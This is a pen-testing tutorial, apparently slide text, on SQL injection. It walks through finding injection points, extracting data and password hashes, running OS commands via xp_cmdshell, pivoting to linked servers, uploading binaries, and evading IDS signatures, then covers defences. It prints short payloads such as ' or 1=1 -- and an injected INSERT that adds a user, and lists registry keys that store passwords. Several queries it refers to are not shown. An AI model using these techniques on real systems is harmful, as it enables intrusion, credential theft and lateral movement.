SQL injection is a type of security exploit in which the attacker adds SQL statements through a web application's input fields or hidden parameters to gain access to resources or make changes to data. It's a serious vulnerability, which can lead to a high level of compromise - usually the ability to run any database query. It is an attack on web-based applications that connect to database back-ends in which the attacker executes unauthorized (and unexpected) SQL commands by taking advantage of insecure code and bad input validation. It is very often done on systems connected to the Internet because it allows to completely bypass the firewall. SQL injection attacks can be used to steal information from a database from which the data would normally not be available and to gain access to host computers through the database engine.
Web-based applications constitute the worst threat of SQL injection. In our Pen Tests, over 60% of our clients continue to be vulnerable to SQL Injection. The main problem with SQL Injection is that the vulnerability is originated when the web application is coded. Most programmers are still not aware of the problem. Tutorials and demo &quot;templates&quot; on the Internet and even some that have been shipped with commercial databases promote building queries by concatenating strings, which is the main source for SQL Injection vulnerabilities. Additionally, a lot of the proposed solutions on the web continue to be flawed.
Almost all SQL databases and programming languages are potentially vulnerable. It is an input validation problem that has to be considered and programmed by the web application developer.
A common way of validating users in an application is to by checking if the user and password combination exists in the users table. The following query will bring back one record if there is one row where the login = 'victor' and the password = '123': SELECT * FROM users WHERE login = ' victor ' AND password = ' 123 ' To code this, a common practice among developers is to concatenate a string with the SQL command and then execute it to see if it returns something different to null. An Active Server Page code where the SQL statement gets concatenated might look like: var sql = &quot; SELECT * FROM users WHERE login = ' &quot; + formusr + &quot; ' AND password = ' &quot; + formpwd + &quot; ' &quot;;
SQL Injection occurs when an attacker is able to insert a series of SQL statements into a 'query' by manipulating data input. If an attacker inserts: ' or 1=1 -- into the formusr field he will change the normal execution of the query. By inserting a single quote the username string is closed and the final concatenated string would end up interpreting or 1=1 as part of the command. The -- (double dash) is used to comment everything after the or 1=1 and avoid a wrong syntax error. This could also have been achieved by inserting the following command: ' or '1'='1 By injecting any of the two commands discussed, an attacker would get logged in as the first user in the table. This happens because the WHERE clause ends up validating that the username = ' ' (nothing) OR 1=1 ( OR '1'='1' in the second statement) The first conditional is False but the second one is True. By using OR the whole condition is True and therefore all rows from table users are returned. All rows is not null therefore the log in condition is met.
The single quote character closes the string field and therefore allows all of the following text to be interpreted as SQL commands. To prevent this, a lot of the SQL Injection quick solutions found on the Internet suggest escaping the single quote with a double quote (that is the standard way of escaping single quotes in SQL99). This is only a half remedy though because there are always numeric fields or dates within forms or parameters that will remain vulnerable.
With a similar syntax a numeric login would not use single quotes because in SQL you only need quotes for strings. This PHP / MySQL code example concatenates a query that uses no single quotes as part of the syntaxis.
Injecting into a numeric field is very similar. The main difference with string injection is that in numeric injection the first number is taken as the complete parameter (no need to close it with a single quote) and all the text after that number will be considered as part of the command. In this case the # (number sign) is used instead of the -- (double dash) because we are injecting into a MySQL database.
Symbol Usage in SQL99 complaint DBs + Addition operator; also concatenation operator; when used in an URL it becomes a white space) || Concatenation operator in Oracle and Postgres - Subtraction operator; also a range indicator in CHECK constraints = Equality operator <> != Inequality operators >< Greater-than and Less-than operators ( ) Expression or hierarchy delimiter % Wildcard attribute indicator , List item separator @, @@ Local and Global variable indicators . Identifier qualifier separator ‘’ “” Character string indicators “” Quoted identifier indicators -- Single-line comment delimiter # Single-line comment delimiter in MySQL or date delimiter in MS Access /*…*/ Begin and End multiline comment delimiter
Depending on your objective the general methodology may vary. For Pen Testing purposes we have defined some comprehensive steps for testing applications.
We have based our methodology on the OWASP Testing Framework. The Open Web Application Security Project (OWASP) is a volunteer project dedicated to sharing knowledge and developing open source software that promotes a better understanding of web application security. The OWASP Testing Project has been in development for over two years. It helps understand the what, why, when, where, and how of testing web applications, and not just provide a simple checklist or prescription of issues that should be addressed. OWASP has built a testing framework from which we have expanded to build our own testing program. In our Detailed Structured Analysis each step is analyzed, and all the tangents and sub-tangents are followed (attack-trees). Above we have included our SQL Injection analysis attack tree.
The first step is to find a vulnerable entry in the web application.
To find vulnerabilities all parameters in a web form must be checked. SQL Injection can happen in any of the following: Fields in Web Forms Script Parameters in Query Strings sent as part of the URL Values stored in cookies that are sent back to the web application Values sent in hidden fields To find all the different entry points in a web application a web proxy or a fuzzer must be used. With a fuzzer we insert different types of input into each entry point. &quot;Fuzzing&quot; is an automated software testing technique that generates and submits random or sequential data to various entry points of an application in an attempt to uncover security vulnerabilities. We use this technique to send specific string combinations with SQL specific reserved characters and words. We are looking for an application error or changes in the applications behavior or responses due to the insertion of one or several strings. For example, the delay query will make the application respond after 10 seconds if it is vulnerable and executing our command (in this case it would also have to be a MS SQL Server).
Once a vulnerable entry has been detected. The next step is to gather as much information as possible about the underlying application.
The information gathering stage is fundamental. The scope and depth of the subsequent attack as well as, the query syntax to be used will both be determined by the results of this stage. Output mechanisms are essential for extracting information about and within the database. Depending on the type of mechanism found, it will strongly change the attack techniques. Understanding the underlying query will allow to craft correct statements. By knowing this, different types of error messages and attacks are possible. Different databases allow and require different SQL syntax. Defining the database engine type is fundamental for the following stages. Most advanced SQL injection requires high user privilege levels. Knowing what we can or cannot do will save us time. Finally, interacting with the underlying operating system either through command execution or through read/write access to the file system will allow a whole different group of attacks.
An important aspect of SQL Injection is getting information back. This can be tricky because Web Applications do not normally allow you to see the results of your queries. For the attacker, the easiest situation would be to have the results of the modified query displayed as part of the web server response. This sometimes happens when the vulnerable input is part of query that sends a result set back to the web application, such as lists. In this case most information can be crafted through union statements to be displayed with the result set. In other cases the modified query result set is used by the application and is not displayed through the web application. If the Web Server is configured to display error messages, a lot of information can be extracted through them. Finally, if the modified query interrupts the normal behavior of the application (which can result in a 403 or 404 error message) but no error message is displayed, this is normally an indication of blind SQL injection. There are methods to extract information from databases through time delays or error signatures. Almost the same things can be done in both scenarios but Blind Injection is much slower, much noisier and more difficult because most of the information hast to be extracted slowly (through a lot of queries) or guessed. Other mechanisms that may be used to send information are email, creating remote webpages using smb, or sending complete files with ftp or tftp.
Grouping error Within a SELECT statement the HAVING command allows to further define a query based on the “grouped” fields. The error message will tell us which columns have not been grouped. Type mismatch or overflow errors By trying to insert strings into numeric fields or a bigint into an int the error message will show us the data that could not get converted.
By using a condition as shown in the first example and if we know the expected outcome for a correct and for an incorrect condition, we can prove if the condition is true or not. This works with all SQL databases, what varies is the type of condition we can insert. Using if statements with some kind of delay is different for different databases. Some like MS SQL Server will require the IF condition to be a separate command (shown in the WAITFOR DELAY query above). In others, like in MySQL the same effect can be achieved with the BENCHMARK function, which can be used as an expression within a SELECT statement. Additionally, we can run the same types of queries as in normal injection but with no debugging information. This gets complicated fast. With the Boolean responses we can extract text information by converting it into ASCII and then converting the ASCII to binary and THEN getting one bit at a time. This can be very time consuming and above all notorious because of its noisiness. It has been automated in tools like SQueaL that allow complete database structures and their contents to be transferred bit by bit.
It is important to know in what part of the modified query we are. The parameter we are modifying can land in wide variety of places. It can be part of a SELECT, UPDATE, EXEC, INSERT, DELETE or CREATE statement. It can be part of a subquery, a stored procedure parameter or something more complex. We start by determining what the form or page is trying to do with our input. What is the name of the field? How would we have written that SQL query?
Most injection points end up in the WHERE clause of a SELECT statement as shown above. There are several parts of the statement that can be bypassed or included depending on how we structure our insertion.
UPDATE statements are also found in places like the &quot;change my password&quot; section. It can be trickier to inject into an UPDATE statement. You potentially do more damage. In our example above you can end up inserting into the SET part of the query ('new password'). And if you do and decide to comment the rest of the query, all users in the table users would get their password changed.
To better understand a SELECT query a good way is to try to replicate an error free navigation. By sending statements like the ones described above you can be certain of the application responses to both TRUE and FALSE conditions. We try generating specific types of errors that give you more information about the table name and parameters in the query. Sometimes we may have to add parenthesis to escape a subquery.
We can also inject into stored procedures or add batch commands to the execution depending on how the parameters are passed to the store procedure and how it is executed. If we know there is a vulnerability we can add new variables and parameters to try to understand the query. We will get different types of errors depending on what we add. The PRINT command is also useful because it is recognized by the database engine but should have no effect. Passing a @@variable to the print command can help distinguish between correct or incorrect responses. The main purpose is to try to identify if commands are being executed or not and exactly in what part of what query we landed on.
There are some tricky queries where you end up in the middle of a subquery or a BEGIN-END statement. We will try to close parenthesis and add END commands. This may help to escape the query. In other occasions the same input will be used in several queries. Slightly changing the input gives you different error messages that come from different queries. This gets particularly confusing when trying UNION statements. You will normally be able to work generating errors in the first query. The tough part is realizing which errors come from which queries. Sometimes we cannot change or inject anything into the query without generating a cascade of errors that are inescapable. There are some queries that because of the way they are built or the database they are using, are simply impossible to escape. In these cases it is easier to go and find another injection point.
Determining the database engine type is fundamental to continue with the injection process. Most times this will be easy if we have error messages coming back. ODBC will normally display the database type as part of the driver information when reporting an error. In those cases where the error message is not an ODBC message that can also be useful. First, you know you are most probably not on a Windows box. By knowing what operating system and web server we are connecting to it is easier sometimes to deduce the possible database. Using specific characters, commands, stored procedures and syntax we can know with much more certainty what SQL database we have injected into.
Above are some differences that can be used to determine what db we are in if we have no other easier way. By trying out conditions using the 'and condition and '1'='1 statement we can determine what type of database we have connected to.
The differences from one database to the other will also determine what we can or cannot do. To notice, MySQL is the only one that does not support subqueries in its current release. Nevertheless, beta version 4.1 has implemented subqueries and will soon be released. The UNION statement was implemented in MySQL version 4.0. Batch queries are not very common and stored procedures are only available in MS SQL and Oracle. The more complete, flexible and OS integrated a database is, the more potential avenues of attack.
The next piece of information we need to know are what privileges are we running with. We will have the privileges of the user with which the application server connects to the database. We want to know what that user's privileges are. SQL99 has built-in scalar functions supported by most SQL implementations that allow us to query within a SELECT statement for the current user, the session user and the system user. We can use these functions to return the user name within an error message. If we are using blind injection we can also use an if and a time delay along with the name of a privileged user (dba or root) to determine if we are administrators or root of the database.
Default database administrator accounts vary from one database to another. It is common to find SQL injection in connections that are running default administrator privileges. A default administrator will have privileges to do everything within the database and that in some cases extends over to the operating system easily.
Once we know basic information about the database, the query structure and our privileges we will start the attack.
The next thing we will want to know is the database structure. For that we will use the &quot;HAVING 1=1&quot; statement to enumerate all columns in the table. After that, by using a UNION statement and trying to sum() a column name we can quickly identify numeric from alphanumeric columns. To enumerate tables in a database we can directly query the metadata. Each database has its own metadata structure. The one above is a MS SQL specific query.
In different databases the queries to enumerate the columns of a table can also be done directly by querying the metadata. In each database the syntax is slightly different.
This query enumerates all tables and columns in the database. It can be inserted into a grid result. This also uses common metadata tables to determine the table, each field in the table, and the type of each field. This result set could also be concatenated through a temp table into a single string and with Substring() could be used to get the results through error messages, 256 characters at a time.
Some servers have several databases. By interrogating metadata system tables information about the databases can also be extracted.
This is a list of some of the useful metadata system tables in different databases.
Extracting data is easy once the database has been enumerated and the query is understood.
With this query all the logins and passwords from our users tables are extracted into a variable called @var. This variable @var is inserted into a new table called temp in a column called var. The var column of the temp table is then sent back through an error message. The temp table is deleted from the database. We could also insert a login and password of our own into the users table with the following command: '; insert into users select 4,'Victor','Chapela','victor','Pass123' --
An additional step would be to create our own user account for the database. This might allow us to connect directly to the database and is necessary for certain types of commands. With the appropriate privileges we can create our own account in the database. Here is a list of some commands to create user account in different databases engines.
Some databases also store the hashes for the database user passwords within a table. In MS SQL Server the name and password for users are stored in a table called sysxlogins. To extract them we have to convert the hashes that are kept in binary form into a hexadecimal format that can be displayed as part of the error message. We then concatenate them into one single long string. One important thing to note is that even though the name column in sysxlogins is public, the password column requires dbo access level. If access to the password fields is not possible, the user names can be used as part of a brute forcing attempt described later.
To do this we select one by one the entries within sysxlogins that have a password. We then hex each hash and concatenate it to the variable we are building. We repeat this for each valid password. We end up with a table that contains in one single line, all the user name/password pairs (up to 8000 characters).
This is the complete statement we defined to translate the passwords to hex, concatenate them and store them as part of a varchar variable. This query requires some changes for long user tables.
We then use substring to extract one 256 character piece at a time.
The hashes could be broken offline. But if we wanted to use the victim Server processing power to brute force the password hashes we could use the above query to start an dictionary attack on the stored hashes. The dictionary could be inserted by hand, with a perl script or by sending a wordlist (we will later see some options for file transfers).
If we have network connectivity a reverse connection can be established and the whole database can be transferred to our local SQL Server.
By transferring the database's metadata you can recreate the database structure in your local system.
Once the structure has been recreated, the data may be easily transferred a table at a time. Using this method, an attacker can retrieve the contents of a table even if the application is designed to conceal error messages or invalid query results.
Depending on the database type and our privileges with in it, we may be able to interact directly with the underlying operating system.
There are two main ways to interact with the operating system. Depending on the database engine and the configuration we may be able to read and write files or execute commands. In both cases we will be restricted by the privileges and permissions of the user with which the database engine is run. If we can read and write files we will be able to upload into the database files containing password and configuration information. In a similar way we would also be able to change some of the passwords or configuration files by appending or overwriting system files. If we have OS command execution we will be able to do anything.
The LOAD_FILE function returns a string containing the contents of a file, specified by it's path. LOAD_FILE also works on binary files, and SUBSTRING allows you to skip nulls and select x characters at a time, so the attacker can use this technique to read arbitrary text or binary files. LOAD_FILE is a function that can be used as a term in a select statement, whereas issuing a complete statement like 'LOAD DATA INFILE' is somewhat tricky. If the SQL injection situation allows us to submit multiple statements, however, this can be a serious problem. The companion statement to LOAD DATA INFILE is SELECT INTO OUTFILE. Many of the same disadvantages are present from the attacker's point of view. MySQL does not support batch queries and therefore it is difficult to execute through SQL injection. Nevertheless, this statement represents the most obvious way for an attacker to gain control of a MySQL Server. Normally by creating nonexistent configuration files, possibly in users home directories. We can also create binary files with SELECT INTO DUMPFILE. It's worth remembering that in recent versions this statement cannot modify existing files; it can only create new ones.
The XP_CMDSHELL extended procedure allows us to execute any OS command in a non interactive way. To be able to read the results of the command execution we have to send the output into a file and then insert that file into the database using bulk insert. Once in the database, we can concatenate the data into one long string so we can read it 256 characters at a time through error messages. We would then delete the temporary file and table at the end.
It is important to keep in mind that the web server in most cases is not the database server. So we might be executing commands in a server that has no direct Internet connectivity.
To expand our influence into the operating system we want to know if we have some kind of network connectivity. To do so there are several different techniques we can use. We can interrogate the database for the server name and we can use xp_cmdshell to run OS level networking commands. We may also try reverse connections that will give us information about the remote IPs or even allow us to upload files.
When using a reverse DNS lookup we will have to use our own IP and ask for any domain name. By using a sniffer or by checking our firewall log we will be able to see the incoming DNS requests. DNS lookups will normally get through firewalls and proxies even if the machine has no Internet access configured by using the DNS hierarchy. Another way of doing this is with ICMP packets, for example using PINGs. This is more likely to be blocked by the firewall though. We may try to use OPENROWSET (this does not require administrative privileges) to connect back to our own IP. We can choose to connect to port 80 in an attempt to circumvent firewall or proxy rules.
By executing these commands we can retrieve a very detailed network configuration.
To execute network reconnaissance in a simple steps the above statements could be executed.
To be able to execute OS commands through SQL Injection is not always possible.
In most databases, the path into the operating system will not be direct. We will have to start searching for passwords and in some cases replacing configuration files to be able to gain access. And access will be obtained indirectly. In MS SQL Server in particular we will be able to use the exec xp_cmdshell procedure to execute commands. One of the first thing we may want to do as an attacker is to add our own user and include it as an administrator. There are a lot of different extended procedures in MS SQL Server that can be abused by an attacker. Another one is xp_servicecontrol that allows us to start a service.
Yet another way to execute commands or applications from SQL Server is through ActiveX automation. Several built-in extended stored procedures are provided which allow the creation of ActiveX Automation scripts in SQL server. These scripts are functionally the same as scripts running in the context of the windows scripting host, or ASP scripts - they are typically written in VBScript or JavaScript, and they create Automation objects and interact with them. An automation script written in Transact-SQL in this way can do anything that an ASP script, or a WSH script can do. This example illustrates the flexibility of the technique; it uses the 'speech.voicetext' object, causing the SQL Server to speak.
There are also extended procedures that will allow us to read or write to the registry. With the xp_regread we would be able to extract the decimal equivalent of the obfuscated VNC password. The whole set of built in extended stored procedures for interacting with the registry are: xp_regaddmultistring, xp_regdeletekey, xp_regdeletevalue, xp_regenumkeys, xp_regenumvalues, xp_regread, xp_regremovemultistring and xp_regwrite. Some other interesting keys to explore include: HKLM\\SYSTEM\\CurrentControlSet\\Services\\lanmanserver\\parameters\\ nullsessionshares HKLM\\SYSTEM\\CurrentControlSet\\Services\\ snmp \\parameters\\ validcommunities HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ Winlogon\\DefaultUserName HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ Winlogon\\DefaultPassword HKLM\\SOFTWARE\\Microsoft\\ TelnetServer\\1.0\\NTLM HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA\\ RestrictAnonymous HKLM\\SOFTWARE\\ORL\\ WinVNC3\\Default\\Password HKU\\Software\\ORL\\ WinVNC3\\Password HKLM\\SOFTWARE\\Symantec\\ Norton AntiVirus\\CurrentVersion HKU\\Software\\Microsoft\\Internet Account Manager\\Accounts\\ 00000001\\ POP3 User Name HKU\\Software\\ Kazaa\\UserDetails\\UserName HKU\\Software\\Microsoft\\ Exchange\\UserName HKU\\Software\\Microsoft\\ Exchange\\LogonDomain
In this final stage we may want to expand our influence to other applications or servers.
To find out if there are any linked servers we may use the sysservers table. Once we know what the other servers are, hopping into their databases can be easily achieved by using the OPENROWSET command again.
Linked and remote servers in Microsoft SQL Server allows one server to communicate transparently with a remote database server. Linked servers allow us to execute distributed queries and even control remote database servers. We could use this capability to access the internal network. We would start by collecting information from the master.dbo.sysservers system table as demonstrated here. To expand further, the attacker could then query the information from the linked and remote servers. The first insert brings us the linked servers in the sysservers table. The second one allows us to retrieve the sysservers table in one of the linked servers. And the last insert would retrieve the remote databases from the sysdatabases table in the linked server.
Sometimes the servers will be configured to only allow remote stored procedure execution and they will not permit arbitraries queries to run. If the linked and remote servers are not configured for data access we could try this. All the queries can be done through the sp_executesql stored procedure that circumvents this restriction.
Once we have gained adequate privileges on the SQL Server, we will then want to upload “binaries” to the server. Since normally this can not be done using protocols such as SMB, since port 137-139 typically is blocked at the firewall, we will need another method of getting the binaries onto the remote file system. This can be done by uploading a binary file into a table local to us and then pulling the data to the remote server file system using a SQL Server connection. Having created the table to hold the binary, the attacker would then upload the binary into the attackerTable. To circumvent the firewall, we will then configure a connection to our server over port 80 by modifying the registry. The binary can then be downloaded to the victim server from our server by running the remote bcp statement on the victim server. This statement will issue an outbound connection to the attacker’s server and write the results of the query into a file recreating the executable.
When there is no Internet connectivity files can still be uploaded by hexing them and sending them as part of the query strings. This is still a manual and tedious process but can be done by a dedicated hacker.
The whole queries would have taken too much space to include here.
In some cases there will be input validation in place or an Intrusion Prevention System that will distort or drop some of our attempts to inject. We will now review possible evasion techniques.
Both IDS and input validation circumvention are very similar. We will use different techniques to change the expected input and bypass completely the &quot;signatures&quot;. IDS or IPS should never be used alone to protect applications from SQL Injection vulnerabilities. It should be implemented as an alerting mechanism.
An IDS signature may be looking for the 'OR 1=1 . There are numerous ways of replacing this so that it continues to have the same effect.
One common way to implement input validation in PHP is by using PHP's addslashes() function or by turning on magic_quotes_gpc. This will protect string injection but this may give them a false sense of security since injection in numeric fields is still possible.
Some ways to evade and circumvent validation or detection is through encoding of parameters. Different types of detection will be vulnerable to distinct encoding.
To inject into MySQL without using double quotes the char() function can be very useful. Char() also works on almost all other DBs but sometimes it can only hold one character at a time like for example char(0x##)+char(0x##)+…
IDSs used to be vulnerable to changing the number of white spaces and could be tricked by doing so. Adding special characters like tab, carriage return or linefeeds will sometimes evade the signature. Some SQL interpreters do not even need spaces between commands and parameters. This would completely change the IDS's signature and make untraceable without changing the execution of the statement.
There is another very interesting way to evade IDS. And that is by using the multirow comments. These will work in almost all databases and can be used to replace white spaces. They could even allow to spread commands through different fields.
In MySQL comments can even be put in the middle of SQL commands. Another way of splitting instructions to avoid IDS detection is by using execution commands that allow us to concatenate text in Oracle or MS SQL Server.
Other techniques will allow us to define variables and then have them executed. Variables can be defined in hex completely avoiding the need for single quotes.
Defending against SQL Injection is easy. But it has to be done in a methodical way.
Input validation is the most important part of defending against SQL injection. You should enforce input validation in all new applications through strong design. Any you should audit all your existing code and websites. You should additionally always harden your servers as well.
What we believe to be a strong design, is that which can be secure always. For this to happen it has also to be the easiest way for programmers to query the database. You should use stored procedures to interact with database and call procedures through a parameterized API. All input should be validated and all database users should run under the &quot;least privilege&quot; principle. You may need to define different roles, one for every type of query.
For each field you should define the type of input it will allow. Then you should use filters to verify that only good input gets through and that you reject any suspicious one. Implement &quot;known bad&quot; filters for SQL reserved words and characters.
Harden your servers. If there is a breach, you should be protected to the core. Never trust your input validation, applications continue to change through time and unexpected vulnerabilities may emerge in time.
One last but important point is to apply dissuasive messages to your error messages. This will scare most of the possible attackers away. Use an IDS to detect and block attacks, they may try other avenues if the first one fails.
